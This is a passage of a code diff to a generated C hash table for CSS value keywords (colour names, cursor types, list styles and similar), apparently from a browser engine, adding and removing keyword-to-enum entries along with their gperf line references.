+      {"expanded", CSSValueExpanded},
+#line 517 "CSSValueKeywords.gperf"
+      {"honeydew", CSSValueHoneydew},
+#line 274 "CSSValueKeywords.gperf"
+      {"nw-resize", CSSValueNwResize},
+#line 326 "CSSValueKeywords.gperf"
+      {"nowrap", CSSValueNowrap},
+#line 523 "CSSValueKeywords.gperf"
       {"lavender", CSSValueLavender},
+#line 233 "CSSValueKeywords.gperf"
+      {"georgian", CSSValueGeorgian},
+#line 49 "CSSValueKeywords.gperf"
+      {"xx-small", CSSValueXxSmall},
 #line 133 "CSSValueKeywords.gperf"
       {"source-over", CSSValueSourceOver},
+#line 511 "CSSValueKeywords.gperf"
+      {"forestgreen", CSSValueForestgreen},
+#line 198 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-aa-et", CSSValueEthiopicHalehameAaEt},
+#line 125 "CSSValueKeywords.gperf"
+      {"grey", CSSValueGrey},
+#line 201 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-am-et", CSSValueEthiopicHalehameAmEt},
+#line 452 "CSSValueKeywords.gperf"
+      {"visiblefill", CSSValueVisiblefill},
+#line 558 "CSSValueKeywords.gperf"
+      {"navajowhite", CSSValueNavajowhite},
+#line 303 "CSSValueKeywords.gperf"
+      {"below", CSSValueBelow},
+#line 286 "CSSValueKeywords.gperf"
+      {"text", CSSValueText},
+#line 605 "CSSValueKeywords.gperf"
+      {"bevel", CSSValueBevel},
+#line 214 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-om-et", CSSValueEthiopicHalehameOmEt},
 #line 276 "CSSValueKeywords.gperf"
-      {"pre-line", CSSValuePreLine},
-#line 424 "CSSValueKeywords.gperf"
-      {"darkgreen", CSSValueDarkgreen},
-#line 434 "CSSValueKeywords.gperf"
-      {"darkslateblue", CSSValueDarkslateblue},
-#line 269 "CSSValueKeywords.gperf"
-      {"no-open-quote", CSSValueNoOpenQuote},
-#line 433 "CSSValueKeywords.gperf"
-      {"darkseagreen", CSSValueDarkseagreen},
-#line 429 "CSSValueKeywords.gperf"
-      {"darkorange", CSSValueDarkorange},
-#line 548 "CSSValueKeywords.gperf"
-      {"alphabetic", CSSValueAlphabetic},
-#line 265 "CSSValueKeywords.gperf"
-      {"lower", CSSValueLower},
-#line 387 "CSSValueKeywords.gperf"
-      {"ease-out", CSSValueEaseOut},
-#line 552 "CSSValueKeywords.gperf"
-      {"no-change", CSSValueNoChange},
-#line 287 "CSSValueKeywords.gperf"
-      {"stretch", CSSValueStretch},
-#line 196 "CSSValueKeywords.gperf"
-      {"table-column", CSSValueTableColumn},
-#line 240 "CSSValueKeywords.gperf"
-      {"lowercase", CSSValueLowercase},
-#line 428 "CSSValueKeywords.gperf"
-      {"darkolivegreen", CSSValueDarkolivegreen},
-#line 521 "CSSValueKeywords.gperf"
-      {"springgreen", CSSValueSpringgreen},
+      {"se-resize", CSSValueSeResize},
+#line 556 "CSSValueKeywords.gperf"
+      {"mistyrose", CSSValueMistyrose},
+#line 218 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-so-et", CSSValueEthiopicHalehameSoEt},
+#line 432 "CSSValueKeywords.gperf"
+      {"content-box", CSSValueContentBox},
 #line 541 "CSSValueKeywords.gperf"
-      {"bevel", CSSValueBevel},
-#line 179 "CSSValueKeywords.gperf"
-      {"hiragana", CSSValueHiragana},
+      {"lightyellow", CSSValueLightyellow},
+#line 531 "CSSValueKeywords.gperf"
+      {"lightgray", CSSValueLightgray},
+#line 226 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-ti-et", CSSValueEthiopicHalehameTiEt},
 #line 533 "CSSValueKeywords.gperf"
-      {"accumulate", CSSValueAccumulate},
-#line 247 "CSSValueKeywords.gperf"
-      {"below", CSSValueBelow},
-#line 270 "CSSValueKeywords.gperf"
-      {"nowrap", CSSValueNowrap},
-#line 69 "CSSValueKeywords.gperf"
-      {"serif", CSSValueSerif},
-#line 447 "CSSValueKeywords.gperf"
-      {"gainsboro", CSSValueGainsboro},
-#line 224 "CSSValueKeywords.gperf"
-      {"ew-resize", CSSValueEwResize},
-#line 221 "CSSValueKeywords.gperf"
-      {"sw-resize", CSSValueSwResize},
-#line 135 "CSSValueKeywords.gperf"
-      {"source-out", CSSValueSourceOut},
-#line 406 "CSSValueKeywords.gperf"
-      {"beige", CSSValueBeige},
-#line 60 "CSSValueKeywords.gperf"
-      {"narrower", CSSValueNarrower},
-#line 218 "CSSValueKeywords.gperf"
-      {"nw-resize", CSSValueNwResize},
-#line 334 "CSSValueKeywords.gperf"
-      {"listbox", CSSValueListbox},
-#line 453 "CSSValueKeywords.gperf"
-      {"hotpink", CSSValueHotpink},
-#line 99 "CSSValueKeywords.gperf"
-      {"buttonface", CSSValueButtonface},
-#line 498 "CSSValueKeywords.gperf"
-      {"palegoldenrod", CSSValuePalegoldenrod},
-#line 536 "CSSValueKeywords.gperf"
-      {"linearrgb", CSSValueLinearrgb},
-#line 20 "CSSValueKeywords.gperf"
-      {"dashed", CSSValueDashed},
-#line 111 "CSSValueKeywords.gperf"
-      {"infotext", CSSValueInfotext},
-#line 112 "CSSValueKeywords.gperf"
-      {"match", CSSValueMatch},
-#line 322 "CSSValueKeywords.gperf"
-      {"break-all", CSSValueBreakAll},
-#line 250 "CSSValueKeywords.gperf"
-      {"both", CSSValueBoth},
-#line 413 "CSSValueKeywords.gperf"
-      {"chartreuse", CSSValueChartreuse},
-#line 510 "CSSValueKeywords.gperf"
-      {"saddlebrown", CSSValueSaddlebrown},
-#line 331 "CSSValueKeywords.gperf"
-      {"button-bevel", CSSValueButtonBevel},
-#line 426 "CSSValueKeywords.gperf"
-      {"darkkhaki", CSSValueDarkkhaki},
-#line 66 "CSSValueKeywords.gperf"
-      {"expanded", CSSValueExpanded},
-#line 232 "CSSValueKeywords.gperf"
-      {"help", CSSValueHelp},
-#line 444 "CSSValueKeywords.gperf"
-      {"firebrick", CSSValueFirebrick},
-#line 532 "CSSValueKeywords.gperf"
-      {"evenodd", CSSValueEvenodd},
-#line 142 "CSSValueKeywords.gperf"
-      {"plus-darker", CSSValuePlusDarker},
+      {"lightgrey", CSSValueLightgrey},
+#line 265 "CSSValueKeywords.gperf"
+      {"context-menu", CSSValueContextMenu},
 #line 273 "CSSValueKeywords.gperf"
-      {"overline", CSSValueOverline},
-#line 421 "CSSValueKeywords.gperf"
-      {"darkcyan", CSSValueDarkcyan},
-#line 293 "CSSValueKeywords.gperf"
-      {"inline-axis", CSSValueInlineAxis},
-#line 107 "CSSValueKeywords.gperf"
-      {"inactiveborder", CSSValueInactiveborder},
-#line 446 "CSSValueKeywords.gperf"
-      {"forestgreen", CSSValueForestgreen},
-#line 103 "CSSValueKeywords.gperf"
-      {"captiontext", CSSValueCaptiontext},
-#line 534 "CSSValueKeywords.gperf"
-      {"new", CSSValueNew},
-#line 79 "CSSValueKeywords.gperf"
-      {"gray", CSSValueGray},
-#line 194 "CSSValueKeywords.gperf"
+      {"ne-resize", CSSValueNeResize},
+#line 611 "CSSValueKeywords.gperf"
+      {"ideographic", CSSValueIdeographic},
+#line 478 "CSSValueKeywords.gperf"
+      {"chartreuse", CSSValueChartreuse},
+#line 522 "CSSValueKeywords.gperf"
+      {"khaki", CSSValueKhaki},
+#line 250 "CSSValueKeywords.gperf"
       {"table-row", CSSValueTableRow},
-#line 333 "CSSValueKeywords.gperf"
-      {"list-button", CSSValueListButton},
-#line 550 "CSSValueKeywords.gperf"
-      {"mathematical", CSSValueMathematical},
-#line 213 "CSSValueKeywords.gperf"
-      {"not-allowed", CSSValueNotAllowed},
-#line 443 "CSSValueKeywords.gperf"
-      {"dodgerblue", CSSValueDodgerblue},
-#line 491 "CSSValueKeywords.gperf"
-      {"mistyrose", CSSValueMistyrose},
-#line 174 "CSSValueKeywords.gperf"
-      {"upper-latin", CSSValueUpperLatin},
-#line 109 "CSSValueKeywords.gperf"
-      {"inactivecaptiontext", CSSValueInactivecaptiontext},
-#line 513 "CSSValueKeywords.gperf"
+#line 600 "CSSValueKeywords.gperf"
+      {"linearrgb", CSSValueLinearrgb},
+#line 538 "CSSValueKeywords.gperf"
+      {"lightslategray", CSSValueLightslategray},
+#line 539 "CSSValueKeywords.gperf"
+      {"lightslategrey", CSSValueLightslategrey},
+#line 525 "CSSValueKeywords.gperf"
+      {"lawngreen", CSSValueLawngreen},
+#line 587 "CSSValueKeywords.gperf"
+      {"steelblue", CSSValueSteelblue},
+#line 127 "CSSValueKeywords.gperf"
+      {"repeat", CSSValueRepeat},
+#line 546 "CSSValueKeywords.gperf"
+      {"mediumblue", CSSValueMediumblue},
+#line 578 "CSSValueKeywords.gperf"
       {"seagreen", CSSValueSeagreen},
-#line 356 "CSSValueKeywords.gperf"
-      {"slider-vertical", CSSValueSliderVertical},
-#line 54 "CSSValueKeywords.gperf"
-      {"x-large", CSSValueXLarge},
-#line 83 "CSSValueKeywords.gperf"
-      {"navy", CSSValueNavy},
-#line 64 "CSSValueKeywords.gperf"
-      {"semi-condensed", CSSValueSemiCondensed},
-#line 78 "CSSValueKeywords.gperf"
-      {"fuchsia", CSSValueFuchsia},
-#line 422 "CSSValueKeywords.gperf"
-      {"darkgoldenrod", CSSValueDarkgoldenrod},
-#line 297 "CSSValueKeywords.gperf"
-      {"forwards", CSSValueForwards},
-#line 514 "CSSValueKeywords.gperf"
-      {"seashell", CSSValueSeashell},
-#line 298 "CSSValueKeywords.gperf"
-      {"backwards", CSSValueBackwards},
-#line 119 "CSSValueKeywords.gperf"
-      {"threedshadow", CSSValueThreedshadow},
-#line 383 "CSSValueKeywords.gperf"
-      {"preserve-3d", CSSValuePreserve3d},
-#line 439 "CSSValueKeywords.gperf"
-      {"deeppink", CSSValueDeeppink},
-#line 500 "CSSValueKeywords.gperf"
+#line 336 "CSSValueKeywords.gperf"
+      {"separate", CSSValueSeparate},
+#line 565 "CSSValueKeywords.gperf"
       {"paleturquoise", CSSValuePaleturquoise},
-#line 204 "CSSValueKeywords.gperf"
-      {"default", CSSValueDefault},
+#line 485 "CSSValueKeywords.gperf"
+      {"darkblue", CSSValueDarkblue},
 #line 138 "CSSValueKeywords.gperf"
       {"destination-in", CSSValueDestinationIn},
-#line 408 "CSSValueKeywords.gperf"
-      {"blanchedalmond", CSSValueBlanchedalmond},
-#line 553 "CSSValueKeywords.gperf"
-      {"reset-size", CSSValueResetSize},
-#line 522 "CSSValueKeywords.gperf"
-      {"steelblue", CSSValueSteelblue},
-#line 70 "CSSValueKeywords.gperf"
-      {"sans-serif", CSSValueSansSerif},
-#line 343 "CSSValueKeywords.gperf"
-      {"media-slider", CSSValueMediaSlider},
-#line 230 "CSSValueKeywords.gperf"
-      {"text", CSSValueText},
-#line 95 "CSSValueKeywords.gperf"
-      {"activeborder", CSSValueActiveborder},
-#line 294 "CSSValueKeywords.gperf"
-      {"block-axis", CSSValueBlockAxis},
-#line 290 "CSSValueKeywords.gperf"
-      {"reverse", CSSValueReverse},
-#line 248 "CSSValueKeywords.gperf"
-      {"bidi-override", CSSValueBidiOverride},
-#line 102 "CSSValueKeywords.gperf"
-      {"buttontext", CSSValueButtontext},
-#line 140 "CSSValueKeywords.gperf"
-      {"destination-atop", CSSValueDestinationAtop},
-#line 481 "CSSValueKeywords.gperf"
-      {"mediumblue", CSSValueMediumblue},
-#line 488 "CSSValueKeywords.gperf"
-      {"mediumvioletred", CSSValueMediumvioletred},
-#line 456 "CSSValueKeywords.gperf"
-      {"ivory", CSSValueIvory},
-#line 388 "CSSValueKeywords.gperf"
-      {"ease-in-out", CSSValueEaseInOut},
+#line 476 "CSSValueKeywords.gperf"
+      {"burlywood", CSSValueBurlywood},
+#line 599 "CSSValueKeywords.gperf"
+      {"new", CSSValueNew},
+#line 550 "CSSValueKeywords.gperf"
+      {"mediumslateblue", CSSValueMediumslateblue},
+#line 196 "CSSValueKeywords.gperf"
+      {"upper-latin", CSSValueUpperLatin},
+#line 499 "CSSValueKeywords.gperf"
+      {"darkslateblue", CSSValueDarkslateblue},
 #line 549 "CSSValueKeywords.gperf"
-      {"hanging", CSSValueHanging},
-#line 372 "CSSValueKeywords.gperf"
-      {"content-box", CSSValueContentBox},
-#line 470 "CSSValueKeywords.gperf"
-      {"lightsalmon", CSSValueLightsalmon},
-#line 398 "CSSValueKeywords.gperf"
+      {"mediumseagreen", CSSValueMediumseagreen},
+#line 104 "CSSValueKeywords.gperf"
+      {"graytext", CSSValueGraytext},
+#line 458 "CSSValueKeywords.gperf"
       {"subpixel-antialiased", CSSValueSubpixelAntialiased},
-#line 411 "CSSValueKeywords.gperf"
-      {"burlywood", CSSValueBurlywood},
-#line 448 "CSSValueKeywords.gperf"
-      {"ghostwhite", CSSValueGhostwhite},
-#line 177 "CSSValueKeywords.gperf"
-      {"georgian", CSSValueGeorgian},
-#line 430 "CSSValueKeywords.gperf"
-      {"darkorchid", CSSValueDarkorchid},
-#line 245 "CSSValueKeywords.gperf"
-      {"always", CSSValueAlways},
+#line 489 "CSSValueKeywords.gperf"
+      {"darkgreen", CSSValueDarkgreen},
+#line 140 "CSSValueKeywords.gperf"
+      {"destination-atop", CSSValueDestinationAtop},
+#line 494 "CSSValueKeywords.gperf"
+      {"darkorange", CSSValueDarkorange},
+#line 195 "CSSValueKeywords.gperf"
+      {"upper-alpha", CSSValueUpperAlpha},
+#line 498 "CSSValueKeywords.gperf"
+      {"darkseagreen", CSSValueDarkseagreen},
+#line 377 "CSSValueKeywords.gperf"
+      {"skip-white-space", CSSValueSkipWhiteSpace},
 #line 169 "CSSValueKeywords.gperf"
-      {"upper-roman", CSSValueUpperRoman},
-#line 172 "CSSValueKeywords.gperf"
-      {"lower-latin", CSSValueLowerLatin},
+      {"binary", CSSValueBinary},
+#line 521 "CSSValueKeywords.gperf"
+      {"ivory", CSSValueIvory},
 #line 460 "CSSValueKeywords.gperf"
-      {"lawngreen", CSSValueLawngreen},
-#line 49 "CSSValueKeywords.gperf"
-      {"xx-small", CSSValueXxSmall},
-#line 485 "CSSValueKeywords.gperf"
-      {"mediumslateblue", CSSValueMediumslateblue},
-#line 271 "CSSValueKeywords.gperf"
-      {"open-quote", CSSValueOpenQuote},
-#line 484 "CSSValueKeywords.gperf"
-      {"mediumseagreen", CSSValueMediumseagreen},
-#line 326 "CSSValueKeywords.gperf"
-      {"checkbox", CSSValueCheckbox},
-#line 157 "CSSValueKeywords.gperf"
-      {"justify", CSSValueJustify},
-#line 227 "CSSValueKeywords.gperf"
-      {"nwse-resize", CSSValueNwseResize},
-#line 255 "CSSValueKeywords.gperf"
-      {"fixed", CSSValueFixed},
+      {"optimizelegibility", CSSValueOptimizelegibility},
+#line 69 "CSSValueKeywords.gperf"
+      {"serif", CSSValueSerif},
+#line 60 "CSSValueKeywords.gperf"
+      {"narrower", CSSValueNarrower},
+#line 575 "CSSValueKeywords.gperf"
+      {"saddlebrown", CSSValueSaddlebrown},
+#line 209 "CSSValueKeywords.gperf"
+      {"ethiopic-abegede-gez", CSSValueEthiopicAbegedeGez},
 #line 72 "CSSValueKeywords.gperf"
       {"fantasy", CSSValueFantasy},
-#line 437 "CSSValueKeywords.gperf"
-      {"darkturquoise", CSSValueDarkturquoise},
-#line 469 "CSSValueKeywords.gperf"
-      {"lightpink", CSSValueLightpink},
-#line 277 "CSSValueKeywords.gperf"
-      {"pre-wrap", CSSValuePreWrap},
-#line 125 "CSSValueKeywords.gperf"
-      {"grey", CSSValueGrey},
-#line 483 "CSSValueKeywords.gperf"
-      {"mediumpurple", CSSValueMediumpurple},
-#line 519 "CSSValueKeywords.gperf"
-      {"slategrey", CSSValueSlategrey},
-#line 329 "CSSValueKeywords.gperf"
-      {"square-button", CSSValueSquareButton},
-#line 518 "CSSValueKeywords.gperf"
-      {"slategray", CSSValueSlategray},
-#line 442 "CSSValueKeywords.gperf"
-      {"dimgrey", CSSValueDimgrey},
-#line 137 "CSSValueKeywords.gperf"
-      {"destination-over", CSSValueDestinationOver},
-#line 441 "CSSValueKeywords.gperf"
-      {"dimgray", CSSValueDimgray},
-#line 209 "CSSValueKeywords.gperf"
-      {"context-menu", CSSValueContextMenu},
-#line 401 "CSSValueKeywords.gperf"
-      {"geometricprecision", CSSValueGeometricprecision},
-#line 91 "CSSValueKeywords.gperf"
-      {"yellow", CSSValueYellow},
-#line 317 "CSSValueKeywords.gperf"
-      {"dot-dash", CSSValueDotDash},
-#line 489 "CSSValueKeywords.gperf"
-      {"midnightblue", CSSValueMidnightblue},
-#line 155 "CSSValueKeywords.gperf"
-      {"right", CSSValueRight},
-#line 98 "CSSValueKeywords.gperf"
-      {"background", CSSValueBackground},
-#line 39 "CSSValueKeywords.gperf"
-      {"lighter", CSSValueLighter},
-#line 366 "CSSValueKeywords.gperf"
-      {"textarea", CSSValueTextarea},
-#line 226 "CSSValueKeywords.gperf"
-      {"nesw-resize", CSSValueNeswResize},
-#line 480 "CSSValueKeywords.gperf"
-      {"mediumaquamarine", CSSValueMediumaquamarine},
-#line 110 "CSSValueKeywords.gperf"
-      {"infobackground", CSSValueInfobackground},
-#line 113 "CSSValueKeywords.gperf"
-      {"menutext", CSSValueMenutext},
-#line 551 "CSSValueKeywords.gperf"
-      {"use-script", CSSValueUseScript},
+#line 414 "CSSValueKeywords.gperf"
+      {"progress-bar", CSSValueProgressBar},
 #line 493 "CSSValueKeywords.gperf"
-      {"navajowhite", CSSValueNavajowhite},
-#line 61 "CSSValueKeywords.gperf"
-      {"ultra-condensed", CSSValueUltraCondensed},
-#line 463 "CSSValueKeywords.gperf"
-      {"lightcoral", CSSValueLightcoral},
-#line 143 "CSSValueKeywords.gperf"
-      {"plus-lighter", CSSValuePlusLighter},
-#line 367 "CSSValueKeywords.gperf"
-      {"caps-lock-indicator", CSSValueCapsLockIndicator},
-#line 168 "CSSValueKeywords.gperf"
-      {"lower-roman", CSSValueLowerRoman},
+      {"darkolivegreen", CSSValueDarkolivegreen},
+#line 31 "CSSValueKeywords.gperf"
+      {"status-bar", CSSValueStatusBar},
+#line 506 "CSSValueKeywords.gperf"
+      {"dimgray", CSSValueDimgray},
 #line 507 "CSSValueKeywords.gperf"
-      {"powderblue", CSSValuePowderblue},
-#line 101 "CSSValueKeywords.gperf"
-      {"buttonshadow", CSSValueButtonshadow},
+      {"dimgrey", CSSValueDimgrey},
+#line 567 "CSSValueKeywords.gperf"
+      {"papayawhip", CSSValuePapayawhip},
+#line 453 "CSSValueKeywords.gperf"
+      {"visiblestroke", CSSValueVisiblestroke},
+#line 374 "CSSValueKeywords.gperf"
+      {"dot-dot-dash", CSSValueDotDotDash},
+#line 236 "CSSValueKeywords.gperf"
+      {"katakana", CSSValueKatakana},
+#line 194 "CSSValueKeywords.gperf"
+      {"lower-latin", CSSValueLowerLatin},
+#line 216 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-sid-et", CSSValueEthiopicHalehameSidEt},
+#line 283 "CSSValueKeywords.gperf"
+      {"nwse-resize", CSSValueNwseResize},
+#line 193 "CSSValueKeywords.gperf"
+      {"lower-alpha", CSSValueLowerAlpha},
 #line 139 "CSSValueKeywords.gperf"
       {"destination-out", CSSValueDestinationOut},
-#line 543 "CSSValueKeywords.gperf"
-      {"after-edge", CSSValueAfterEdge},
-#line 425 "CSSValueKeywords.gperf"
-      {"darkgrey", CSSValueDarkgrey},
-#line 423 "CSSValueKeywords.gperf"
-      {"darkgray", CSSValueDarkgray},
-#line 416 "CSSValueKeywords.gperf"
-      {"cornflowerblue", CSSValueCornflowerblue},
-#line 328 "CSSValueKeywords.gperf"
-      {"push-button", CSSValuePushButton},
-#line 31 "CSSValueKeywords.gperf"
-      {"status-bar", CSSValueStatusBar},
-#line 229 "CSSValueKeywords.gperf"
-      {"row-resize", CSSValueRowResize},
-#line 121 "CSSValueKeywords.gperf"
-      {"windowframe", CSSValueWindowframe},
-#line 175 "CSSValueKeywords.gperf"
+#line 231 "CSSValueKeywords.gperf"
       {"hebrew", CSSValueHebrew},
-#line 122 "CSSValueKeywords.gperf"
-      {"windowtext", CSSValueWindowtext},
-#line 436 "CSSValueKeywords.gperf"
-      {"darkslategrey", CSSValueDarkslategrey},
-#line 435 "CSSValueKeywords.gperf"
-      {"darkslategray", CSSValueDarkslategray},
-#line 547 "CSSValueKeywords.gperf"
-      {"ideographic", CSSValueIdeographic},
-#line 207 "CSSValueKeywords.gperf"
-      {"vertical-text", CSSValueVerticalText},
-#line 173 "CSSValueKeywords.gperf"
-      {"upper-alpha", CSSValueUpperAlpha},
-#line 403 "CSSValueKeywords.gperf"
-      {"antiquewhite", CSSValueAntiquewhite},
-#line 115 "CSSValueKeywords.gperf"
-      {"threeddarkshadow", CSSValueThreeddarkshadow},
-#line 537 "CSSValueKeywords.gperf"
+#line 617 "CSSValueKeywords.gperf"
+      {"reset-size", CSSValueResetSize},
+#line 597 "CSSValueKeywords.gperf"
+      {"evenodd", CSSValueEvenodd},
+#line 107 "CSSValueKeywords.gperf"
+      {"inactiveborder", CSSValueInactiveborder},
+#line 157 "CSSValueKeywords.gperf"
+      {"justify", CSSValueJustify},
+#line 385 "CSSValueKeywords.gperf"
+      {"square-button", CSSValueSquareButton},
+#line 329 "CSSValueKeywords.gperf"
+      {"overline", CSSValueOverline},
+#line 389 "CSSValueKeywords.gperf"
+      {"inner-spin-button", CSSValueInnerSpinButton},
+#line 486 "CSSValueKeywords.gperf"
+      {"darkcyan", CSSValueDarkcyan},
+#line 113 "CSSValueKeywords.gperf"
+      {"menutext", CSSValueMenutext},
+#line 225 "CSSValueKeywords.gperf"
+      {"tigrinya-et", CSSValueTigrinyaEt},
+#line 64 "CSSValueKeywords.gperf"
+      {"semi-condensed", CSSValueSemiCondensed},
+#line 496 "CSSValueKeywords.gperf"
+      {"darkred", CSSValueDarkred},
+#line 601 "CSSValueKeywords.gperf"
       {"optimizequality", CSSValueOptimizequality},
+#line 203 "CSSValueKeywords.gperf"
+      {"ethiopic-abegede-am-et", CSSValueEthiopicAbegedeAmEt},
 #line 148 "CSSValueKeywords.gperf"
       {"text-top", CSSValueTextTop},
-#line 445 "CSSValueKeywords.gperf"
+#line 510 "CSSValueKeywords.gperf"
       {"floralwhite", CSSValueFloralwhite},
-#line 178 "CSSValueKeywords.gperf"
-      {"cjk-ideographic", CSSValueCjkIdeographic},
-#line 370 "CSSValueKeywords.gperf"
-      {"border-box", CSSValueBorderBox},
-#line 452 "CSSValueKeywords.gperf"
-      {"honeydew", CSSValueHoneydew},
-#line 272 "CSSValueKeywords.gperf"
-      {"overlay", CSSValueOverlay},
-#line 323 "CSSValueKeywords.gperf"
-      {"break-word", CSSValueBreakWord},
-#line 462 "CSSValueKeywords.gperf"
-      {"lightblue", CSSValueLightblue},
-#line 512 "CSSValueKeywords.gperf"
-      {"sandybrown", CSSValueSandybrown},
-#line 508 "CSSValueKeywords.gperf"
-      {"rosybrown", CSSValueRosybrown},
-#line 451 "CSSValueKeywords.gperf"
-      {"greenyellow", CSSValueGreenyellow},
-#line 400 "CSSValueKeywords.gperf"
-      {"optimizelegibility", CSSValueOptimizelegibility},
-#line 374 "CSSValueKeywords.gperf"
+#line 70 "CSSValueKeywords.gperf"
+      {"sans-serif", CSSValueSansSerif},
+#line 434 "CSSValueKeywords.gperf"
       {"padding-box", CSSValuePaddingBox},
-#line 182 "CSSValueKeywords.gperf"
-      {"katakana-iroha", CSSValueKatakanaIroha},
-#line 321 "CSSValueKeywords.gperf"
-      {"skip-white-space", CSSValueSkipWhiteSpace},
-#line 482 "CSSValueKeywords.gperf"
-      {"mediumorchid", CSSValueMediumorchid},
-#line 475 "CSSValueKeywords.gperf"
-      {"lightsteelblue", CSSValueLightsteelblue},
-#line 467 "CSSValueKeywords.gperf"
-      {"lightgreen", CSSValueLightgreen},
-#line 65 "CSSValueKeywords.gperf"
-      {"semi-expanded", CSSValueSemiExpanded},
-#line 471 "CSSValueKeywords.gperf"
-      {"lightseagreen", CSSValueLightseagreen},
-#line 352 "CSSValueKeywords.gperf"
-      {"menulist-button", CSSValueMenulistButton},
-#line 355 "CSSValueKeywords.gperf"
-      {"slider-horizontal", CSSValueSliderHorizontal},
-#line 128 "CSSValueKeywords.gperf"
-      {"repeat-x", CSSValueRepeatX},
-#line 170 "CSSValueKeywords.gperf"
-      {"lower-greek", CSSValueLowerGreek},
-#line 487 "CSSValueKeywords.gperf"
-      {"mediumturquoise", CSSValueMediumturquoise},
-#line 171 "CSSValueKeywords.gperf"
-      {"lower-alpha", CSSValueLowerAlpha},
 #line 55 "CSSValueKeywords.gperf"
       {"xx-large", CSSValueXxLarge},
-#line 104 "CSSValueKeywords.gperf"
-      {"graytext", CSSValueGraytext},
-#line 129 "CSSValueKeywords.gperf"
-      {"repeat-y", CSSValueRepeatY},
-#line 502 "CSSValueKeywords.gperf"
-      {"papayawhip", CSSValuePapayawhip},
-#line 365 "CSSValueKeywords.gperf"
-      {"textfield", CSSValueTextfield},
+#line 553 "CSSValueKeywords.gperf"
+      {"mediumvioletred", CSSValueMediumvioletred},
+#line 228 "CSSValueKeywords.gperf"
+      {"ethiopic-abegede-ti-et", CSSValueEthiopicAbegedeTiEt},
+#line 91 "CSSValueKeywords.gperf"
+      {"yellow", CSSValueYellow},
+#line 327 "CSSValueKeywords.gperf"
+      {"open-quote", CSSValueOpenQuote},
+#line 61 "CSSValueKeywords.gperf"
+      {"ultra-condensed", CSSValueUltraCondensed},
+#line 547 "CSSValueKeywords.gperf"
+      {"mediumorchid", CSSValueMediumorchid},
+#line 524 "CSSValueKeywords.gperf"
+      {"lavenderblush", CSSValueLavenderblush},
+#line 199 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-aa-er", CSSValueEthiopicHalehameAaEr},
+#line 495 "CSSValueKeywords.gperf"
+      {"darkorchid", CSSValueDarkorchid},
+#line 410 "CSSValueKeywords.gperf"
+      {"menulist-button", CSSValueMenulistButton},
+#line 401 "CSSValueKeywords.gperf"
+      {"media-slider", CSSValueMediaSlider},
+#line 234 "CSSValueKeywords.gperf"
+      {"cjk-ideographic", CSSValueCjkIdeographic},
+#line 426 "CSSValueKeywords.gperf"
+      {"textarea", CSSValueTextarea},
+#line 381 "CSSValueKeywords.gperf"
+      {"after-white-space", CSSValueAfterWhiteSpace},
+#line 110 "CSSValueKeywords.gperf"
+      {"infobackground", CSSValueInfobackground},
+#line 416 "CSSValueKeywords.gperf"
+      {"slider-vertical", CSSValueSliderVertical},
+#line 222 "CSSValueKeywords.gperf"
+      {"ethiopic-halehame-ti-er", CSSValueEthiopicHalehameTiEr},
+#line 95 "CSSValueKeywords.gperf"
+      {"activeborder", CSSValueActiveborder},
+#line 516 "CSSValueKeywords.gperf"
+      {"greenyellow", CSSValueGreenyellow},
+#line 443 "CSSValueKeywords.gperf"
+      {"preserve-3d", CSSValuePreserve3d},
+#line 548 "CSSValueKeywords.gperf"
+      {"mediumpurple", CSSValueMediumpurple},
+#line 263 "CSSValueKeywords.gperf"
+      {"vertical-text", CSSValueVerticalText},
+#line 311 "CSSValueKeywords.gperf"
+      {"fixed", CSSValueFixed},
+#line 378 "CSSValueKeywords.gperf"
+      {"break-all", CSSValueBreakAll},
+#line 615 "CSSValueKeywords.gperf"
+      {"use-script", CSSValueUseScript},
+#line 413 "CSSValueKeywords.gperf"
+      {"outer-spin-button", CSSValueOuterSpinButton},
+#line 173 "CSSValueKeywords.gperf"
+      {"devanagari", CSSValueDevanagari},
 #line 149 "CSSValueKeywords.gperf"
       {"text-bottom", CSSValueTextBottom},
-#line 542 "CSSValueKeywords.gperf"
+#line 137 "CSSValueKeywords.gperf"
+      {"destination-over", CSSValueDestinationOver},
+#line 191 "CSSValueKeywords.gperf"
+      {"upper-roman", CSSValueUpperRoman},
+#line 205 "CSSValueKeywords.gperf"
+      {"cjk-heavenly-stem", CSSValueCjkHeavenlyStem},
+#line 350 "CSSValueKeywords.gperf"
+      {"block-axis", CSSValueBlockAxis},
+#line 353 "CSSValueKeywords.gperf"
+      {"forwards", CSSValueForwards},
+#line 251 "CSSValueKeywords.gperf"
+      {"table-column-group", CSSValueTableColumnGroup},
+#line 606 "CSSValueKeywords.gperf"
       {"before-edge", CSSValueBeforeEdge},
-#line 62 "CSSValueKeywords.gperf"
-      {"extra-condensed", CSSValueExtraCondensed},
-#line 459 "CSSValueKeywords.gperf"
-      {"lavenderblush", CSSValueLavenderblush},
-#line 346 "CSSValueKeywords.gperf"
-      {"media-volume-slider", CSSValueMediaVolumeSlider},
+#line 415 "CSSValueKeywords.gperf"
+      {"slider-horizontal", CSSValueSliderHorizontal},
+#line 537 "CSSValueKeywords.gperf"
+      {"lightskyblue", CSSValueLightskyblue},
 #line 26 "CSSValueKeywords.gperf"
       {"message-box", CSSValueMessageBox},
-#line 353 "CSSValueKeywords.gperf"
+#line 545 "CSSValueKeywords.gperf"
+      {"mediumaquamarine", CSSValueMediumaquamarine},
+#line 304 "CSSValueKeywords.gperf"
+      {"bidi-override", CSSValueBidiOverride},
+#line 572 "CSSValueKeywords.gperf"
+      {"powderblue", CSSValuePowderblue},
+#line 388 "CSSValueKeywords.gperf"
+      {"default-button", CSSValueDefaultButton},
+#line 487 "CSSValueKeywords.gperf"
+      {"darkgoldenrod", CSSValueDarkgoldenrod},
+#line 97 "CSSValueKeywords.gperf"
+      {"appworkspace", CSSValueAppworkspace},
+#line 190 "CSSValueKeywords.gperf"
+      {"lower-roman", CSSValueLowerRoman},
+#line 122 "CSSValueKeywords.gperf"
+      {"windowtext", CSSValueWindowtext},
+#line 411 "CSSValueKeywords.gperf"
       {"menulist-text", CSSValueMenulistText},
-#line 486 "CSSValueKeywords.gperf"
+#line 461 "CSSValueKeywords.gperf"
+      {"geometricprecision", CSSValueGeometricprecision},
+#line 333 "CSSValueKeywords.gperf"
